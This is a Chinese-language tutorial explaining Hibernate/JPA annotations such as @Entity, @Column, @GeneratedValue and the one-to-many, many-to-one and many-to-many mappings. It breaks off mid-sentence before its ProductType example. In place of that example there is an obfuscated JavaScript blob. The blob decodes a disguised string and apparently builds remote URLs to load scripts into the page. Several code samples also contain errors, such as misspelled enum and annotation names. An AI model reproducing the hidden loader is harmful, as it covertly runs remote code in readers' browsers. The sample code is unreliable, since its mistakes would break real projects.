hibernate怎么开启注解

2025-03-25 04:56:31
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1.类级别注解
@Entity 映射实体类
@Table 映射数句库表

@Entity(name="tableName") - 必须,注解将一个类声明为一个实体bean。
属性:
name - 可选,对应数据库中的一个表。若表名与实体类名相同,则可以省略。

@Table(name="",catalog="",schema="") - 可选,通常和@Entity 配合使用,只能标注在实 体的 class 定义处,表示实体对应的数据库表的信息。
属性:
name - 可选,表示表的名称,默认地,表名和实体名称一致,只有在不一致的情况下才需 要指定表名
catalog - 可选,表示Catalog名称,默认为 Catalog("").
schema - 可选 , 表示 Schema 名称 , 默认为Schema("").
2.属性级别注解
@Id 映射生成主键
@Version 定义乐观锁
@Column 映射表的列
@Transient 定义暂态属性

2.1 与主键相关注解
@Id - 必须,定义了映射到数据库表的主键的属性,一个实体只能有一个属性被映射为主 键,置于 getXxxx() 前。

@GeneratedValue(strategy=GenerationType,generator="") - 可选,用于定义主键生成策略。
属性:
Strategy - 表示主键生成策略,取值有:
GenerationType.AUTO - 根据底层数据库自动选择(默认),若数据库支持自动 增 长类型,则为自动增长。
GenerationType.INDENTITY - 根据数据库的Identity字段生成,支持DB2、MySQL、 MS、SQL Server、SyBase与HyperanoicSQL数据库的Identity 类型主键。
GenerationType.SEQUENCE - 使用Sequence来决定主键的取值,适合Oracle、DB2等 支持Sequence的数据库,一般结合@SequenceGenerator使用。
(Oracle没有自动增长类型,只能用Sequence)
GenerationType.TABLE - 使用指定表来决定主键取值,结合@TableGenerator使用。
如:
@Id
@TableGenerator(name="tab_cat_gen",allocationSize=1)
@GeneratedValue(Strategy=GenerationType.Table)
Generator - 表示主键生成器的名称,这个属性通常和ORM框架相关 , 例如:
Hibernate 可以指定 uuid 等主键生成方式

@SequenceGenerator — 注解声明了一个数据库序列。
属性:
name - 表示该表主键生成策略名称,它被引用在@GeneratedValue中设置的“gernerator”值中。
sequenceName - 表示生成策略用到的数据库序列名称。
initialValue - 表示主键初始值,默认为0.
allocationSize - 每次主键值增加的大小,例如设置成1,则表示每次创建新记录后自动加1,默认为50.

示例 :
@Id
@GeneratedValues(strategy=StrategyType.SEQUENCE)
public int getPk() {
return pk;
}

Hibernate的访问类型为field时,在字段上进行注解声;
访问类型为property时,在getter方法上进行注释声明。

2.2 与非主键相关注解
@Version - 可以在实体bean中使用@Version注解,通过这种方式可添加对乐观锁定的支持

@Basic - 用于声明属性的存取策略:
@Basic(fetch=FetchType.EAGER) 即时获取(默认的存取策略)
@Basic(fetch=FetchType.LAZY) 延迟获取

@Temporal - 用于定义映射到数据库的时间精度:
@Temporal(TemporalType=DATE) 日期
@Temporal(TemporalType=TIME) 时间
@Temporal(TemporalType=TIMESTAMP) 两者兼具

@Column - 可将属性映射到列,使用该注解来覆盖默认值,@Column描述了数据库表中 该字段的详细定义,这对于根据 JPA 注解生成数据库表结构的工具非常有作用。
属性:
name - 可选,表示数据库表中该字段的名称,默认情形属性名称一致
nullable -可选,表示该字段是否允许为 null,默认为true
unique - 可选,表示该字段是否是唯一标识,默认为 false
length - 可选,表示该字段的大小,仅对 String 类型的字段有效,默认值255.
insertable -可选,表示在ORM框架执行插入操作时,该字段是否应出现INSETRT 语句中,默认为 true
updateable -可选,表示在ORM 框架执行更新操作时,该字段是否应该出现在 UPDATE语句中,默认为 true.对于一经创建就不可以更改的字段,该 属性非常有用,如对于 birthday字段。
columnDefinition - 可选,表示该字段在数据库中的实际类型。通常ORM框架可以根 据属性类型自动判断数据库中字段的类型,但是对于Date类型仍无法确定数据 库中字段类型究竟是 DATE,TIME还是 TIMESTAMP. 此外 ,String 的默认映射类型为VARCHAR, 如果要将 String 类型映射到特定数据库的 BLOB或 TEXT字段类型,该属性非常有用。
示例 :
@Column(name="BIRTH",nullable="false",columnDefinition="DATE")
public String getBithday() {
return birthday;
}

@Transient - 可选,表示该属性并非一个到数据库表的字段的映射,ORM框架将忽略该属性,如果一个属性并非数据库表的字段映射,就务必将其标示为@Transient,否则ORM 框架默认其注解为 @Basic
示例 :
// 根据 birth 计算出 age 属性
@Transient
public int getAge() {
return getYear(new Date()) - getYear(birth);
}
2.3无注解属性的默认值
如果属性为单一类型,则映射为@Basic,
否则,如果属性对应的类型定义了@Embeddable注解,则映射为@Embedded,
否则,如果属性对应的类型实现了Serializable, 则属性被映射为@Basic并在一个列中保存该对象的serialized版本,
否则,如果该属性的类型为java.sql.Clob或 java.sql.Blob,则作为@Lob并映射到适当的LobType.。

3.映射继承关系
@Inheritance注解来定义所选择的策略. 这个注解需要在每个类层次结构(class hierarchy) 最顶端的实体类上使用
4.映射实体bean的关联关系
4.1关联映射的一些定义
单向一对多:一方有集合属性,包含多个多方,而多方没有一方的引用。用户--->电子邮件
单向多对一:多方有一方的引用,一方没有多方的引用。论文类别--->类别
双向一对多:两边都有多方的引用,方便查询。班级--->学生
双向多对一:两边都有多方的引用,方便查询。
单向多对多:需要一个中间表来维护两个实体表。论坛--->文章
单向一对一:数据唯一,数据库数据也是一对一。舰船--->水手
主键相同的一对一:使用同一个主键,省掉外键关联。客户--->地址

单向:关系写哪边,就由谁管理。
双向:一般由多方管理。
@OneToMany(mappedBy="对方") //反向配置,对方管理。
4.2 关联映射的一些共有属性
@OneToOne、@OneToMany、@ManyToOne、ManyToMany的共有属性:
fetch - 配置加载方式。取值有
Fetch.EAGER - 及时加载,多对一默认是Fetch.EAGER
Fetch.LAZY - 延迟加载,一对多默认是Fetch.LAZY
cascade - 设置级联方式,取值有:
CascadeType.PERSIST - 保存
CascadeType.REMOVE - 删除
CascadeType.MERGE - 修改
CascadeType.REFRESH - 刷新
CascadeType.ALL - 全部
targetEntity - 配置集合属性类型,如:@OneToMany(targetEntity=Book.class)

@JoinColumn - 可选,用于描述一个关联的字段。
@JoinColumn和@Column类似,介量描述的不是一个简单字段,而是一个关联字段,例如描述一个 @ManyToOne 的字段。

属性:
name - 该字段的名称,由于@JoinColumn描述的是一个关联字段,如ManyToOne, 则默认的名称由其关联的实体决定。
例如,实体 Order 有一个user 属性来关联实体 User, 则 Order 的 user 属性为一个外键 ,
其默认的名称为实体User的名称 + 下划线 + 实体User的主键名称
4.3 一对一关联
@OneToOne – 表示一个一对一的映射
1.主表类A与从表类B的主键值相对应。
主表:@OneToOne(cascade = CascadeType.ALL)
@PrimaryKeyJoinColumn
public B getB(){
Return b;
}
从表:无

2.主表A中有一个从表属性是B类型的b
主表:@OneToOne(cascade = CascadeType.ALL)
@JoinColumn(name="主表外键") //这里指定的是数据库中的外键字段。
public B getB(){
return b;
}
从表:无

3.主表A中有一个从表属性是B类型的b,同时,从表B中有一个主表属性是A类型的a
主表:@OneToOne(cascade = CascadeType.ALL)
@JoinColumn(name="主表外键") //这里指定的是数据库中的外键字段。
public B getB(){
return b;
}
从表:@OneToOne(mappedBy = "主表类中的从表属性")
public 主表类 get主表类(){
return 主表对象
}
注意:@JoinColumn是可选的。默认值是从表变量名+"_"+从表的主键(注意,这里加的是主键。而不是主键对应的变量)。
4.4 多对一关联
@ManyToOne - 表示一个多对一的映射,该注解标注的属性通常是数据库表的外键。
1.单向多对一:多方有一方的引用,一方没有多方的引用。
在多方
@ManyToOne(targetEntity=XXXX.class) //指定关联对象
@JoinColumn(name="") //指定产生的外键字段名

2.双向多对一:配置方式同双向一对多。

示例 :
// 订单 Order 和用户 User 是一个 ManyToOne 的关系
// 在 Order 类中定义
@ManyToOne()
@JoinColumn(name="USER")
public User getUser() {
return user;
}
4.5 一对多关联
@OneToMany - 描述一个一对多的关联,该属性应该为集合类型,在数据库中并没有实际字段。
1.单向一对多:一方有集合属性,包含多个多方,而多方没有一方的引用。
@OneToMany 默认会使用连接表做一对多关联
添加@JoinColumn(name="xxx_id") 后,就会使用外键关联,而不使用连接表了。

2.双向一对多
1)在多方
@ManyToOne
@JoinColumn(name="自己的数据库外键列名")

2)在一方
@OneToMany(mappedBy="多端的关联属性名")
@JoinColumn(name="对方的数据库外键列名")
4.6 多对多关联
@ManyToMany - 可选,描述一个多对多的关联。
属性:
targetEntity - 表示多对多关联的另一个实体类的全名,例如:package.Book.class
mappedBy - 用在双向关联中,把关系的维护权翻转。

1.单向多对多关联:
在主控方加入@ManyToMany注解即可。
2.双向多对多关联:
两个实体间互相关联的属性必须标记为@ManyToMany,并相互指定targetEntity属性。有且只有一个实体的@ManyToMany注解需要指定mappedBy属性,指向targetEntity的集合属性名称。

以下为使用注解的实例:

我们以产品类型ProductType类和产品Product类为例,一个产品类型对应多个产品,删除产品类型将该类型下的所有产品同时删除。首先需要@OneToMany和@ManyToOne标签来设置外键约束。
在一对多的关系中,一是关系维护端(owner side),多是关系被维护端(inverse side)。

@OneToMany有5个属性:targetEntity,fetch,mappedBy,orphanRemoval,cascade

# targetEntity (Class targetEntity() default void.class;) 属性表示默认关联的实体类型,默认为当前标注的实体类;
因为一对多的实体集合时保存在集合类中,因此必须指明集合类中保存的具体类型:
1)指定集合泛型的具体类型;如:public List getProducts() {...}
2)指定targetEntity属性类型;如:@OneToMany(targetEntity=Product.class,...)

# fetch (FetchType fetch() default LAZY;) 属性是该实体的加载方式,FetchType是枚举类型,值有两种:LAZY和EAGER。一对多,一的一方,FetchType默认是LAZY, 多的一方FetchType默认是EAGER。如果在字段中声明为Eager,那么在取得当前Bean时,同时会抓取Bean中的关联Bean值。即数据库查询多次。反之Lazy则在之后抓取提交查询。具体实验讲解:[Hibernate] - EAGER and LAZY
# mappedBy (String mappedBy() default "";) 属性用于双向关联实体时使用,用在关系的维护端指定关系的被维护端,在hibernate4中与外键标签@JoinColumn冲突,同时使用会报错;如:@OneToMany(targetEntity=Product.class,mappedBy="productType",...)。

#orphanRemoval (boolean orphanRemoval() default false;) 属性作用是删除孤立记录,即外键为空的类型,默认为false。该属性为true时会根据外键执行级联删除,因为当你删除productType的记录时,会使product表的记录外键被删除变为孤立记录,该属性进而将孤立记录删除掉。但hibernate实际执行的语句是先删除product表中的记录,后删除productType表中的记录。
#cascade (CascadeType[] cascade() default {};) 级联属性,默认为空。该属性其实是一个值为枚举类型CascadeType的数组,在jpa的CascadeType枚举类型里面,有PERSIST(级联保存操作),MERGE(合并(merge=save+update)),REMOVE(级联删除操作),REFRESH(级联刷新操作),DETACH(级联分离操作),ALL(所有级联操作)等6个枚举变量,其中DETACH是jpa2.0新加入的变量。这些变量的作用和他们的名字一样,可以很清楚的辨别出。这里我现在仅仅用过级联删除操作,其他的操作都仅仅是从名字和注释上猜测的,留待以后测试。
上面是jpa的级联操作,但在网上很多教程中往往写到用CascadeType.DELETE_ORPHAN,该操作属于hibernate自身的级联操作,在hibernate4中已声明过时,并推荐使用orphanRemoval属性来级联删除记录。
在级联删除记录时,要先用hibernate.load()方法加载持久化对象,然后才能根据外键进行级联删除。至于load()方法和get()方法有什么不同,这里有一篇博文讲的不错:hibernate session的常用方法解析

注意:改变model类的时候可能需要重新建表,如果级联删除不成功可以试一下。
下面开始代码,首先是productType类,要求删除type的时候要删掉该type对应的所有

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF 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